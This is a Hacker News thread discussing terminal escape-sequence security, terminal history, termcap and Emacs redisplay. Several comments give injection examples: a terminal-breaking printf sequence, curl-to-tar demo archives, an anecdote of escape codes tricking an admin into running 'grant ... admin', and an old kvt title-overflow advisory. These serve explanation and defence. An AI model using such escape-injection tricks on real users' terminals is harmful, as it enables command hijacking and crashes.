"<ESC>[31M"? ANSI Terminal security in 2023 and finding 10 CVEs
dgl.cx
dgl.cx
Even things like the use of ESC, and the overloading of ESC for the actual ESC key, for a signal for keycodes, and for the ALT/META key are crazy.
I've thought for a while that I should implement an extremely reduced set of escape sequences which use a non-ESC character (maybe SOH or something) for control sequences and key encoding. A minimal set -- color / cursor position / save-screen / query-size -- whatever it takes to make vim/emacs + tmux/screen work, and call it a day.
We're still inventing new ways of breaking arguably the most basic user interfaces.
The most interesting part is that we still use the same keybinds by default 60 years later. Defaults matter a great deal, but one does not expect a 60 year example.
Cheers for this. Have a wonderful weekend!
Honestly, it’s basically all path dependence. Features get added all the time, but we just keep layering them on top. A lot of the features that already exist are still useful, so none of them can be removed.
When I reconnect and restart screen back into emacs, ^S pauses output instead of doing an incremental search.
I have to pop out of screen with the right escape sequence to get to the login shell I ran it in, then go "stty -ixon" to disable XON/XOFF flow control. Or always remember to do that before running "screen -RD".
But I never ASKED for flow control, and it has worked PERFECTLY for decades without ever getting into +ixon mode, until just a few months ago, and now it happens every single time.
Did something change recently, is ubuntu auto-installing earth shattering patches that maliciously change the default tty settings behind my back (because XON/XOFF flow control suddenly became cool again?), or did I take a walk on a foggy night and accidentally slip into an alternate universe where it's always been that way for everyone else, and I'm about to be seized by silent men in white coats and taken asylum which turns out to be a rehab clinic for people who can't read minds?
https://en.wikipedia.org/wiki/All_the_Myriad_Ways
I finally gave up and put an "stty -ixon" in my .bashrc, but I get the ominous feeling that's one of those tempting but dangerous kludges you're not supposed to do -- Isn't there a superstition about never touching your tty in an rc file? Or is that never touching your pp in a login file? -- that can come back and bite you in the ass later when you least expect it.
It seems like this is just the latest in a long series of cascading ass bites.
Terminals in non UNIX, that not pretend to be serial printers, like the Amiga DOS, or plain MS-DOS, those are the basic ones.
Those use TERM/TERMCAP environment variables and some educated guessing reading stdin/stdout/stderr behaviour to figure out what terminal you're using, search for said entry in terminfo/termcap database, and finally invoking native terminal behavior or simulating it with other terminal behavior.
In theory, one could "just implement" an alternative terminal, and put said simplified entries in terminfo/termcap database and things will be all fine.
In practice several of those ANSI escape code behaviors are hard-coded and everyone pretends everything is "at least as capable as xterm" (a oxymoron, given that xterm is one of the most capable and feature-rich terminals around), so you're also gonna have to implement a converter from "xterm ANSI" to your alternative terminal system - sort of how winpty does convert Win32 terminals conventions to ANSI ones.
Then we're back to the starting issue in this converter.
One problem is termcap/terminfo itself. The definition has expanded greatly over time, and documentation is poor to non-existent. In many cases termcap/terminfo has been implicitly extended to support ncurses specifically. And like you say, everyone just sort of assumes ANSI/xterm -- nobody has `PS1="$(tput setaf 3)\w $(tput setaf 0) $", you just hard-code the codes.
The last time I chased the rabbit down this hole I got mired in TTY-land and was not able to dig myself out. Too many insane layers, and before you know it you're writing code to emulate serial connections in a vain attempt to make things work without burning the whole world down.
Both (n)vim and tmux have internal TTY emulation as well which makes things even crazier; I think vim uses libvterm and tmux has one internally hand-coded. It's a mess.
Consider a really simple case. You are using screen (or tmux, or emacs, or whatever) and you have your terminal divided in half so that you can use a program in one half and tail a log file in the other. The program sends a ^L to clear the screen. Screen (or tmux or whatever) must read the ^L and then _not_ send it on. If it sent it on, the whole screen would be cleared, not just the half with the program in it. Instead it has to send whatever control sequences would erase the text from just the right portion of the screen while leaving everything else alone. Virtually everything sent by the program(s) has to be intercepted and reinterpreted in order for it to work right.
This is one of the great joys of FOSS, if you don't like a terminal-based utility then you can bet there's a dozen other options available for you to use.
> No, they're crazy. I already have a window manager I like; I don't need my
> terminal to implement their own half-assed one,
\s is a bit hacky for blanking though, it can produce some undesired results in terms of copy/pasting from the terminal and resizing. But if you've got a "full screen" process like you're describing, you'd be trapping SIGWINCH for resize events anyway.
Bash source for the ^L hotkey: https://git.savannah.gnu.org/cgit/bash.git/tree/lib/readline...
Notice it's calling termcap:
_rl_clear_screen (0); /* calls termcap function to clear screen */
$ tput clear | hexdump -c
0000000 033 [ H 033 [ 2 J
0000007
The actual ASCII character for ^L is form feed, (FF: https://www.ascii-code.net) which does serve a similar function but designed for old printers: https://en.wikipedia.org/wiki/Page_break#Form_feed
It doesn't actually clear the screen on modern TTYs. You can try this yourself:
$ printf "\f"
$ awk 'BEGIN{printf "%c", 12}'
$
So in conclusion, ^L clearing the screen isn't something built into the TTY. It's just a hot key like ^U.
There are some hot keys are are driven by the TTY though. ^C, for example. When you press ^C you're not actually sending the 0x3 ASCII character to the controlling process, your TTY gobbles that up and sends a signal to the controlling process instead (albeit this behaviour can be changed by altering the TTYs mode, which requires making a SYSCALL).
So here we've discussed ANSI escape codes, signals and SYSCALLs. However none of these interactions are ASCII characters despite how they're depicted in printed media. Suffice to say, terminals are complicated :)
My shell also creates PTYs on some rare occasions too. I’d prefer not to because it’s messy but sometimes there’s no way around it if you want your command line applications to behave like they would on a TTY whilst still having your utility capture that applications output as if it were writing to a pipe.
This is a limitation of TTYs.
The most annoying part of it all is that creating a PTY differs from one Unix-like OS to another. So it’s definitely not a rabbit hole developers go down happily.
[Edit: I misread the parent comment as saying multiplexers needed to do terminal emulation. Dtach only multiplexes (using pesudo-TTYs, of course) but unlike screen or tmux does not do terminal emulation. Original comment follows:]
That isn't strictly true; the one I use (dtach) is just a multiplexer.
- https://github.com/crigler/dtach/blob/master/master.c#L53
- https://github.com/crigler/dtach/blob/master/master.c#L108
As an aside, that projects source is surprisingly easy to follow. I was able to grok it in just a couple of minutes. Kudos to the author.
I think what you’re alluding to is that tmux gobbles up escape sequences (which is configurable by the way) and tracks cell positions. But as I said in another comment, the value add of tmux is its window management capabilities. That’s precisely why people like myself use it. And you cannot have that without complexity. In some edge cases that complexity causes issues, but on the whole I’m more productive for it.
Saying it’s stupid that tmux does that is like saying it’s stupid that motorbikes have gears and fast patrol engines when a bmx works just as well. Sure, to someone who’s never seen a bike before they both look similar. But don’t be fooled by the fact that they both have 2 wheels because they cater to very different needs, hence their very different engineering designs.
The most common examples I see these days are for red/green/yellow status text in shell scripts. To anyone planning to do that, or even more complex stuff, please consider using tput instead.
tput setaf 1; echo this is red
tput setaf 2; echo this is green
tput setaf 3; echo this is yellow
tput setaf 8; echo this is dim
tput bold; echo this is bold
tput sgr0; echo this is normal
blue=$(tput setaf 4); normal=$(tput sgr0); echo ${blue}Color${normal} text.
(man terminfo for arcane details.)
It's wise to make sure output is going to a terminal before using colors, because they don't play well with logs or text processing commands. You can check with: test -t 1
If you use colors, please consider making them optional, since they don't work well for everyone or in every desktop color scheme. An environment variable makes a sensible switch.
Please don't do that without first checking the background colour. Yellow in particular on a light background is unreadable.
(On an xterm-compatible terminal you can get the current background colour with OSC 11 ; ? BEL. Some popular terminals lie about being xterm-compatible, though.)
red=$(tput setaf 1 2>/dev/null || true)
echo ${red}text
¹ Ha, ha. The distro I use, Debian, also omits at least one POSIX standard utility by default, even though all of them used to fit nicely on systems with less disk than your current CPU's cache.
Old glass terminals are still in use here and there, too.
And PC/3270. Some very powerful systems like Linux on IBM Z are POSIX and your default "interactive login" choice is PC/3270.
And in the long term, isn't this exactly the problem? Do we really want to perpetuate the status-quo of "I am in a somewhat POSIX environment, so the STDOUT/STDERR if interactive must behave exactly like xterm and if not I will just pretend it is xterm anyways and output garbage."?
What else was the ESC key made for if not the control code?
> I've thought for a while that I should implement an extremely reduced set of escape sequences which use a non-ESC character (maybe SOH or something) for control sequences and key encoding. A minimal set -- color / cursor position / save-screen / query-size -- whatever it takes to make vim/emacs + tmux/screen work, and call it a day.
I did that as a 8086 boot sector and it would render tmux with unicode characters stripped. You need surprisingly few sequences.
To me it's insane that one of the most used key command has a 1 second delay in the terminal.
Or that typically Esc + some function/arrow key results in some junk.
> whatever the application wants to use it for
With the application being a terminal emulator, that is emitting an ESC character.
Found the vim user! The vast, _vast_ majority of Unix command-line or text-based programs do not use the Esc key because they were not written with a particular terminal or keyboard layout in mind. (Unlike vim.)
But for whatever it's worth, I use vim every day and I notice no 1 second delay when switching modes with the Esc key, so perhaps this is something you can configure in your terminal.
Try to run `xxd` and then press Ctrl-V and either Ctrl+[ or Esc, then Enter and Ctrl+D. Typical terminal setups will show the same codes both times (1b0a for esc and \n).
Alt+Space (or Alt+J Alt+K Alt+B to go up, down, left one word from current position after returning to normal mode) is what I often do which should work universally.
> I notice no 1 second delay when switching modes with the Esc key, so perhaps
> this is something you can configure in your terminal.
Edit: You asked about the terminal emulator, but its the console application that has to do the wait.
It actually happened the other way around. The escape character was originally only there as an escape character at the start of a control sequence. It was added to the keyboard back in the teletype era specifically so that the operator could control the behavior of the device on the other end. And it was labeled “Alt Mode”! See <https://upload.wikimedia.org/wikipedia/commons/2/23/TTY33ASR...>, though it is a little blurry.
Terminals are in a bad place because there was a whole lot of effort put towards compatibility instead of standardization. The same curse that email suffers under. So the "standards" end up hopelessly complex and also terribly vague because they're trying to support every dumb thing every single company did at the same time. And the worst part is that most all of those companies would cease to exist in short order afterward, so the system is chock full of bug-accurate support for long dead systems that literally nobody uses anymore.
So it's really the reverse of what you state. There has been a lot of effort put into standardization, and compared to the 1960s we are highly uniform in the 21st century and widely adhere to an almost 50-year-old standard. It's not the long-dead systems that spoil this. As evidenced from the headlined article, it is the still active systems adding things like vendor-specific commands for setting titles and clipboards and colours and displaying images and whatnot that have introduced the complexity.
A strictly ECMA-48 only emulator doesn't have even half of the problems mentioned in the headlined article, because the control sequences mentioned are extensions to the standard introduced by various GUI terminal emulator programs.
Unsure how fish can fully protect from this, as if you run "cat" in fish, then it isn't between you and the terminal anymore? Or do you mean fish should do a reset before displaying each prompt? If I run the printf commands from the "flash.c" example in fish I end up with a messed up terminal.
printf "\e]4;1;?\a\e[>4;2m"
Rather than reset or stty sane, I use something like one of the following, based on what software is available, e.g., there is no reset on NetBSD
echo w1b63|ired -n /dev/stdout
echo 1b63|xxd -p -r
echo -e '27\n99\n'|nc-data -g
printf \\33cEvery time that your terminal emulator does this in response to binary data, wonder why your terminal emulator hasn't taken the very sensible route that was taken by the authors of mosh years ago, to simply not support alternative GL and GR character set switching, treating it as something whose time has passed given that we live in a UTF-8-to-the-terminal world nowadays.
If there's any takeaway from this, while the worst part is the terminal bugs; I'd like people to be aware that any tool dealing with text (command lines, potentially even websites) should consider sanitizing control characters for defense in depth.
I am amused that for example https://www.osnews.com/story/137552/31m-ansi-terminal-securi... has posted my article with the escape character in the title intact. This means that running:
curl https://www.osnews.com/story/137552/31m-ansi-terminal-security-in-2023-and-finding-10-cves/
edit: Hacker News also doesn't sanitize escape characters, so this very comment will turn your screen red:
curl 'https://news.ycombinator.com/item?id=37963815'But this would require coordination in POSIX, in the terminals, and in programs using the terminal :-/
But the advantage would be that then you'd be able to put your terminal into this safe mode by default. And the terminal can alert you when a program is writing out control codes that are being ignored, and then you can whitelist them and/or get those programs fixed to fence off their sections of "I'm going to output data from god-knows-where now" with this new terminal mode.
It's not going to happen but we can dream ;-)
Demo: https://media.ccc.de/v/all-systems-go-2023-225-making-a-magi...
Background and utility to put such messages in tar archives: https://curiosities.nontrivialpursuit.org/tarvertise-put-a-m...
You can see for yourself whether you have the fix:
Fast featureful terminals (for instance, Kitty):
curl -s https://obfusc.gavagai.nl/roll.tar.xz | unxz | tar tf -
curl -s https://obfusc.gavagai.nl/compatroll.tar.xz | unxz | tar tf -
curl -s https://obfusc.gavagai.nl/compatroll-lowfps.tar.xz | unxz | tar tf -Something like: https://gist.github.com/dgl/355840320535bf8ef8b70f2e0722bf65
(I reported this one to OpenBSD but they didn't fix it. Much like Busybox, which has been known for years.)
I emailed the Tar maintainers privately because I thought they might consider it a security vulnerability, however mild. They fixed it promptly but didn't want to make a CVE fuss out of it.
No, it won't:
wget -qO - https://news.ycombinator.com\
/item?id=37963815|grep 31M|xxd -g1 -c6
(...)
0108: 74 3b 26 6c 74 3b t;<
010e: 45 53 43 26 67 74 ESC>
0114: 3b 5b 33 31 4d 26 ;[31M&Just goes to show how important sanitizing data from unknown sources is.
Should curl, w3m, wget and similar sanitize the data? One can argue that some times you want to pipe the raw data and other times one might not be thinking about the escape sequences and get burned. I would be inclined to say that the tools should filter/escape the dangerous stuff and have a flag like "--raw".
Jupyter-book docs > Code outputs > ANSI outputs: https://jupyterbook.org/en/stable/content/code-outputs.html#...
`less -R` is not the default.
FWIW, textual (and urwid) does ANSII escape codes well: https://github.com/Textualize/textual
touch file$'\n'name
find . -print0 | xargs -0Out-of-band signaling is using a different channel entirely, like a different pair of wires, or otherwise a different interface.
Now, if we look at the current internet from that point of view, then everything that enters and exits the computer is inband. We can alter every bit and construct custom packets and send them out.
So…
- Is everything we do to encrypt/encapsulate/obfuscate not inband signalling?
- Can true encryption and security only be achieved by having the intermediary (telco) doing it for us?
Just picking your brain, btw.
It contains the raw byte of 0x1b (ESC) in the title (before [31m), which colors the following text red in the context of a terminal. The browser title is reported to Übersicht, which apparently fails to serialize it to proper JSON and thus crashes simple-bar with a JSON decode error, removing the overview of my spaces. Everything is back to normal once I change my browser tab.
I'm frankly a bit surprised that at least Linux and MacOS allow control characters in window titles and wonder if there is any reason to do so.
Imagine someone pwning your OS via an HTML tag.
Hi, Frank! How much would I have to pay you to execute the command:
% grant Don.Hopkins admin
Followed by the HP escape sequences for [up][right][right][send rest of line as input][up].
So when he read the message, it entered the command and ran it with his admin privileges, granting me admin!
Lesson: Don't print out raw escape sequences from untrusted messages!
And don't design terminals with [send rest of line as input] commands.
https://donhopkins.com/home/archive/NeWS/news-tape/applicati...
https://donhopkins.com/home/archive/NeWS/news-tape/applicati...
https://donhopkins.medium.com/the-x-windows-disaster-128d398...
>In summary, ICCCM is a technological disaster: a toxic waste dump of broken protocols, backward compatibility nightmares, complex nonsolutions to obsolete nonproblems, a twisted mass of scabs and scar tissue intended to cover up the moral and intellectual depravity of the industry’s standard naked emperor.
https://news.ycombinator.com/item?id=22849522
>James Gosling's Emacs screen redisplay algorithm also used similar "dynamic programming techniques" to compute the minimal cost path through a cost matrix of string edit operations (the costs depended i.e. on the number of characters to draw, length of the escape codes to insert/delete lines/characters, padding for slow terminals, etc).
https://donhopkins.com/home/archive/emacs/skull-and-crossbon...
/********************************************************\
* *
* Ultra-hot screen management package *
* *
\********************************************************/
/***********************************************************-*****
/-------------\
/ \
/ \
/ \
| XXXX XXXX |
| XXXX XXXX |
| XXX XXX |
\ X /
--\ XXX /--
| | XXX | |
| | | |
| I I I I I I I |
| I I I I I I |
\ /
-- --
\-------/
XXX XXX
XXXXX XXXXX
XXXXXXXXX XXXXXXXXXX
XXXXX XXXXX
XXXXXXX
XXXXX XXXXX
XXXXXXXXX XXXXXXXXXX
XXXXX XXXXX
XXX XXX
**************
* BEWARE!! *
**************
All ye who enter here:
Most of the code in this module
is twisted beyond belief!
Tread carefully.
If you think you understand it,
You Don't,
So Look Again.
****************************************************************/psterm.ps: https://donhopkins.com/home/archive/NeWS/news-tape/applicati...
tcap.cps: https://donhopkins.com/home/archive/NeWS/news-tape/applicati...
sampl.user.ps: https://donhopkins.com/home/archive/NeWS/news-tape/applicati...
UsingPSTerm: https://donhopkins.com/home/archive/NeWS/news-tape/applicati...
It's still a much better more flexible approach than xterm, since it can emulate any terminal type, and even if the termcap entry is incorrect and not faithful to the actual terminal, it still works.
In fact you can even make up a termcap entry with your own custom sets of fictional/virtual (but efficient) terminal escape sequences, or mix and match different terminals (like adding reverse and bold text, or line/char insert/delete, to a terminal type that doesn't support it), and it still works perfectly.
https://donhopkins.com/home/archive/NeWS/news-tape/applicati...
# This is a faster termcap for psterm, Warning: if you use this termcap
# some control characters you type will do strange things to the screen
# on systems that echo typed control characters to the users terminal.
psterm-fast,
am, km, hs,
cols#80, lines#34,
bel=^G, cr=\r, csr=^E%p1%d;%p2%d;,
clear=\f, el=^C, ed=^B,
cup=^D%p1%d;%p2%d;, cud1=^P, home=^R,
cub1=^T, cuf1=^V, ll=^U,
cuu1=^Y, dch1=^F, dl1=^K,
blink=^Ob, bold=^Od, smcup=^Ot,
smir=^Oi, rev=^Or, smso=^Oo,
smul=^Ou, sgr0=^N*, rmcup=^Nt,
rmir=^Ni, rmso=^No, rmul=^Nu,
flash=^Z, fsl=^Nl, is1=^N*,
il1=^A, kbs=\b, kcud1=\E[B,
kcub1=\E[D, kcuf1=\E[C, kcuu1=\E[A,
nel=\r\n, rs1=^N*, rc=^\,
sc=^], ind=^W, ri=^X,
ht=\t, tsl=^Ol,
Even if you encounter a program that requires a totally new terminal you've never seen, you can easily write a termcap entry for it, and psterm will emulate it without any changes.
Why rewrite a bunch of other programs, or a bunch of other terminal emulators, when one terminal emulator can easily adapt to them all?
In 1988 when psterm was written there were many different programs and operating systems and terminals like that, especially since terminals can talk to other operating systems than unix that don't support termcap, via telnet or serial ports and modems. It wasn't anything like the stagnant linux/xterm/vt100 monoculture we have today. And if you're going to standardize on one terminal, the vt100's one of the worst you could possibly chose!
That's kind of the whole point of a terminal emulator: to emulate terminals, so the more the merrier!
The idea of virtualizing terminal protocols has been around for a long time, like Marc Crispin's SUPDUP Display Protocol for ITS and Lisp Machines (RFC734 from 1977), and ITS's CRTSTY virtual terminal emulator (kind of like "screen" for translating virtual to actual terminal sequences for many terminal types, adapting dumb terminals without line/char insert/delete, supporting redisplay for low baud rates or congested ARPA connections, and keeping your session and jobs alive if you disconnect, so you can continue after you reconnect, even with a different terminal type, if you got kicked off a nice AAA and forced to use a shitty VT52).
http://junk.nocrew.org/pipermail/its/1988-September/002005.h...
https://github.com/PDP-10/its/blob/master/doc/sysdoc/itstty....
>This file describes just about all there is to know about using and programming TTYs (abbreviation for "Teletypes", for which read "consoles") on the ITS operating system.
https://datatracker.ietf.org/doc/rfc734/
>NWG/RFC# 734 MRC 07-OCT-77 08:46 41953 SUPDUP Display Protocol Page 1 Network Working Group Mark Crispin Request for Comments 734 SU-AI NIC 41953 7 October 1977
>SUPDUP Protocol
>This document describes the SUPDUP protocol, a highly efficient display telnet protocol. It originally started as a private protocol between the ITS systems at MIT to allow a user at any one of these systems to use one of the others as a display. At the current writing, SUPDUP user programs also exist for Data Disc and Datamedia displays at SU-AI and for Datamedias at SRI-KL. The author is not aware of any SUPDUP servers other than at the four MIT ITS sites.
>The advantage of the SUPDUP protocol over an individual terminal's protocol is that SUPDUP defines a "virtual" or "software" display terminal that implements relevant cursor motion operations. The protocol is not built on any particular display terminal but rather on the set of functions common to all display terminals; hence it is completely device- independent. In addition, the protocol also provides for terminals which cannot handle certain operations, such as line or character insert/delete. In fact, it is more than this. It provides for terminals which are missing any set of features, all the way down to model 33 Teletypes.
>The advantage over the TELNET protocol is that SUPDUP takes advantage of the full capabilities of display terminals, although it also has the ability to run printing terminals.
https://its.victor.se/wiki/_media/ai_wp_235.pdf
>The SUPDUP protocol [Crispin 77] is a highly efficient display telnet protocol. The advantage over the TELNET protocol is that SUPDUP takes advantage of the full capabilities of display terminals, although it also has the ability to run printing terminals. When you use the SUPDUP protocol, you do not need to tell the remote host which you are connecting to what type of terminal you have or what the terminal's capabilities are. The host you are SUPDUPing from handles the actual display support for your terminal.
>Additionally, SUPDUP defines a network graphics protpcol [Stallman 78] which makes it easy for network hosts to draw pictures along in addition to text.
I even wrote a SUPDUP emulator in FORTH and RPN 6502 assembly, which is about as backwards and upside-down as it gets -- this code also supports the SUPDUP line saving extensions that RMS hacked into ITS Emacs, so it can stash lines on the screen in local memory before overpainting them, then almost instantly pop them back on the screen later, so you can scroll back and forth through text really fast at 300 baud (plus Devon McCullough made ZipMod with Huffman encoding to make it even faster on top of that):
https://donhopkins.com/home/archive/forth/supdup.f
HEX CREATE SETUP-LINE ASSEMBLER
BOT LDA, N STA, BOT 1+ LDA, N 1+ STA,
BOT 2+ LDY, SCR-LBASES ,Y LDA,
N 2+ STA, SCR-HBASES ,Y LDA,
N 3 + STA, SCR-WIDTH 1- # LDY, RTS,
And just what's wrong with backwards and upside-down algorithms that solve problems in ways that forward and rightside-up algorithms can't?
That's how Emacs's infamous screen redisplay algorithm (and many other common algorithms like pathfinding in games and route planning in cars) work: recursively flood filling forward then navigating backwards from the goal to the current position at the minimal cost, through a matrix or maze of different possible alternative escape sequences and drawing operations or roads with different costs, to find the optimal shortest possible route.
At 300 baud or even 1200 baud, and even on a busy Vax 11/750, there's a lot of time between each character for Emacs to think about what text and escape sequences to send next.
And of course Emacs's screen update algorithm would automatically take into account and use the short optimized custom control codes defined in the psterm-fast termcap entry, to be much more efficient that the verbose inefficient vt100 codes.
Read the paper and display.c code I linked to, and see the wikipedia page on dynamic programming:
>James Gosling's Emacs screen redisplay algorithm also used similar "dynamic programming techniques" to compute the minimal cost path through a cost matrix of string edit operations (the costs depended i.e. on the number of characters to draw, length of the escape codes to insert/delete lines/characters, padding for slow terminals, etc).
https://en.wikipedia.org/wiki/Gosling_Emacs
>Gosling Emacs was especially noteworthy because of the effective redisplay code, which used a dynamic programming technique to solve the classical string-to-string correction problem. The algorithm was quite sophisticated; that section of the source was headed by a skull-and-crossbones in ASCII art, warning any would-be improver that even if they thought they understood how the display code worked, they probably did not.
https://donhopkins.com/home/archive/emacs/skull-and-crossbon...
>Trivia: That "Skull and Crossbones" ASCII art is originally from Brian Reid's Scribe program, and is not copyrighted.
https://donhopkins.com/home/archive/emacs/mw/display.c
/* 1 2 3 4 .... Each Mij represents the minumum cost of
+---+---+---+---+----- rearranging the first i lines to map onto
1 | | | | | the first j lines (the j direction
+---+---+---+---+----- represents the desired contents of a line,
2 | | \| ^ | | i the current contents). The algorithm
+---+---\-|-+---+----- used is a dynamic programming one, where
3 | | <-+Mij| | M[i,j] = min( M[i-1,j],
+---+---+---+---+----- M[i,j-1]+redraw cost for j,2
4 | | | | | M[i-1,j-1]+the cost of
+---+---+---+---+----- converting line i to line j);
. | | | | | Line i can be converted to line j by either
. just drawing j, or if they match, by moving
. line i to line j (with insert/delete line)
*/
https://dl.acm.org/doi/10.1145/1159890.806463
>A redisplay algorithm, by James Gosling.
>Abstract
>This paper presents an algorithm for updating the image displayed on a conventional video terminal. It assumes that the terminal is capable of doing the usual insert/delete line and insert/delete character operations. It takes as input a description of the image currently on the screen and a description of the new image desired and produces a series of operations to do the desired transformation in a near-optimal manner. The algorithm is interesting because it applies results from the theoretical string-to-string correction problem (a generalization of the problem of finding a longest common subsequence), to a problem that is usually approached with crude ad-hoc techniques.
[...]
>6. Conclusion
>The redisplay algorithm described in this paper is used in an Emacs-like editor for Unix and a structure editor. It's performance has been quite good: to redraw everything on the screen (when everything has changed) takes about 0.12 seconds CPU time on a VAX 11/780 running Unix. Using the standard file typing program, about 0.025 seconds of CPU time are needed to type one screenful of text. Emacs averages about 0.004 CPU seconds per keystroke (with one call on the redisplay per keystroke).
>Although in the interests of efficency we have stripped down algorithm 5 to algorithm 6 the result is still an algorithm which has a firm theoretical basis and which is superior to the usual ad-hoc approach.
https://en.wikipedia.org/wiki/Dynamic_programming
>Dynamic programming
>Figure 1. Finding the shortest path in a graph using optimal substructure; a straight line indicates a single edge; a wavy line indicates a shortest path between the two vertices it connects (among other paths, not shown, sharing the same two vertices); the bold line is the overall shortest path from start to goal.
>Dynamic programming is both a mathematical optimization method and an algorithmic paradigm. The method was developed by Richard Bellman in the 1950s and has found applications in numerous fields, from aerospace engineering to economics.
>In both contexts it refers to simplifying a complicated problem by breaking it down into simpler sub-problems in a recursive manner. While some decision problems cannot be taken apart this way, decisions that span several points in time do often break apart recursively. Likewise, in computer science, if a problem can be solved optimally by breaking it into sub-problems and then recursively finding the optimal solutions to the sub-problems, then it is said to have optimal substructure.
>If sub-problems can be nested recursively inside larger problems, so that dynamic programming methods are applicable, then there is a relation between the value of the larger problem and the values of the sub-problems.[1] In the optimization literature this relationship is called the Bellman equation.
SUPDUP on ITS was so smart and opinionated, it had its own ideas about who was a loser and who was a winner, how to figure it out by checking INQUIR entries and relationships, and who it should never or always hassle about net-hopping (hopping through a PDP-10 over the net just to use it as a glorified terminal emulator).
It never hassled gumby or cstacy (because they were free to do whatever they wanted to, like flushing whiny annoying over-entitled alcoholic science fiction writers [1] [2] [3] [4]), but always hassled rms (because it was usually an imposter logging in as rms with password rms just to net hop through the system.)
[1] http://www.stormtiger.org/bob/humor/pournell/story.html
[2] https://news.ycombinator.com/item?id=15206151
[3] https://news.ycombinator.com/item?id=37723853
[4] https://news.ycombinator.com/item?id=37780515
[5] https://github.com/PDP-10/its/blob/master/src/sysnet/supdup....
subttl LSRCHK and LSRWRN -- see if user is loser
;;; This checks to see if the loser is an AI or LCS member or on a
;;; winners list. If not, a warning net-hopping message is printed
;;; and the program offers to kill itself off.
;;; The winner-p check has been extracted so that if at some point in
;;; the future this program is modified to check if it's running from
;;; a CRTSTY, those people may not be warned.
;;; If you mung this you might wish to mung CHTN similarly.
;;; skips unless the luser should be warned.
lsrchk: pushj p,winchk ;are they a winner?
skipa ;nope
jrst popj1 ;yea; so skip
;; check to see if they're in loser table
move t,[-loslen,,lostab]
;; winchk left xuname in tt
lsloop: camn tt,(t)
popj p, ;loser -> don't skip
aobjn t,lsloop
;; check inquir entry
movei a,filech
move b,[-lsrpgs,,hstpag];map lsr where host table will be
pushj p,lsrtns"lsrmap
jrst lsrlos ;something wrong; print loser message
.suset [.rxuname,,b] ;xuname into b
pushj p,lsrtns"lsrunm ;find our entry in database
jrst lsrlos ;no inquir entry; must be loser
.close filech, ;close lsr file
movei a,lsrtns"i$grp ;we want to check group
pushj p,lsrtns"lsritm
popj p, ;none means guest
ildb a,a ;get field
caie a,"A ; AI lab
cain a,"L ; LCS
jrst lsloo1
caie a,"V ; NIL group
cain a,"Z ; Clinical Decision Making
jrst lsloo1
caie a,"C ; Theory of Computation
popj p, ;they're not a lab member
lsloo1: movei a,lsrtns"i$rel ;Check relationship
pushj p,lsrtns"lsritm
popj p, ;none means loser
ildb a,a ;get field
caie a,"X ;some losers put AX when they mean XA
;; These names are for NETWRK
popj1: aos (p) ;otherwise skip
cpopj: popj p, ;when returning
lsrlos: .close filech, ;close lsr file
popj p, ;don't skip
;;; Skip means these people know what they're doing; don't hassle them
winchk: .suset [.rxuname,,tt]
move t,[-winlen,,wintab]
wnloop: camn tt,(t)
jrst popj1 ;winner; skip
aobjn t,wnloop
popj p,
;;; these people aren't hassled
wintab: irp x,,[gumby,alan,cstacy,cent,devon,dph,oaf,mly,jtw,jnc,klotz,cbf,sra,ed,swa,map,jbvb]
sixbit/x/
termin
winlen==.-wintab
;;; These people are always hassled
lostab: irp x,,[tk,hewitt,rms]
sixbit/x/
termin
loslen==.-lostab
;;; warn loser that net-hopping is a waste of the machine
lsrwrn: movei tt,[asciz/
Using this machine to access another will needlessly
drain resources, slowing the system both for you and other users.
You'll probably get better response by connecting directly.
You should not do this unless you have a good reason to do so. If
you have any questions, typing :LUSER to DDT will request a system
programmer to assist you.
Are you sure you want to net-hop?/]
pushj p,outstr
$call iot,[#ttyich,a],[#%tinwt] ;Wait for character
.lose %lssys
caie a,"y
cain a,"Y
popj p, ;it was a Y
caie a,40 ;maybe it was a space?
.logout 1,
popj p,It's not simply a terminal type; it's an ECMA and ANSI standard.
The thing not to understand here is why anyone in 2023 still worries about terminals that don't yet speak a standard protocol we have had since ... 1976.
https://donhopkins.com/home/archive/NeWS/news-tape/applicati...
tcap_parse.c, Mon Mar 24 11:25:44 1986
David Rosenthal,
Sun Microsystems
https://datatracker.ietf.org/doc/rfc734/
>NWG/RFC# 734 MRC 07-OCT-77 08:46 41953 SUPDUP Display Protocol Page 1 Network Working Group Mark Crispin Request for Comments 734 SU-AI NIC 41953 7 October 1977
By the way, I don't agree with user db48x "backwards and perverse" assessment of Rosenthal's pterm. Rosenthal's clever program rather makes an ironic statement that all the proliferation of terminal languages is superfluous.
Any hardware terminal with sufficient resources could have the termcap database in flash, and do the same thing: take a terminal configuration string somehow, like "ANSI", and just become that terminal.
- no escape sequences unless both standard input and output are a TTY;
- have a "plain mode" option which disables the fancy terminal control even if standard input and output are a TTY.
I think the kind of system where you don't have terminal emulation is not going to have environment variables.
But even tiny embedded systems with kilobyte memories can connect to serial lines with a terminal emulator on the other end. They won't have one built-in, needless to say.
This is quite wrong. The output could just be going to a log file, or to a window in your editor instead of to a terminal.
And also progress reports using cursor motion, like pulling multiple docker layers in parallel, that hyperactivity update a hundred times a second.
Docker has a -progress=plain parameter that at least suppresses the cursor motion, but it still spams the logs ridiculously, and google cloudbuild and server logs don't use it.
I bet cloud providers make millions of dollars charging their customers to log and store that kind of voluminous worthless crap.
And then I have to spend hours every month slowly scrolling through that crap page by page to traverse the server and cloudbuild logs just to see what happened after docker containers finally downloaded.
In the xterm there is a feature to change the title of
the window. You can change the title of the window sending one of the escape codes of the
xterm.
(linux: man console_codes)
By Example:
ESC]2;This is my Xterm^G
This escape code changes the xterm's title to "This is my Xterm"
Obviously You can do the same using the kvt (Kde Virtual Terminal).
But the kvt has a buffer overflow. If the size of the new title of the
window is big enough then the kvt will do a core dump.
This bug follows the "reverse exploit" line, if some
program sends
this escape code to the kvt.
For Example, When someone connects to any ftp server and the server sends
the Welcome Message, It will be easy to exploit this bug changing the
Welcome Message (in the .message file) to one with this
escape code and
to cause a buffer overflow.
Another example where someone can cause a buffer overflow in your machine is
simply doing "cat hosts" where hosts may be a file that
you received
by mail containing the "change window escape code".
This bug shows some of the kvt's security problems being exploited via
a "reverse exploit" or a exploit sent directly to your
terminal
(if the attacker can write to your kvt)
If this bug is exploited, then the attacker can obtain
the privileges of the kvt's owner and execute some arbitrary code as this user.
[I found after] This bug was reported to the kde team by Larry Granroth
in January.
(http://bugs.kde.org/db/33/332.html)
The new kde's version doesn't have this bug in the
kconsole
Kvt was replaced totally by kconsole.
But the RedHat 6.0 installed with KDE has this bug.
It it weird that I couldn't find it in Google but Bing with a simple query. Is Google Search Engine SaaS abandonware?
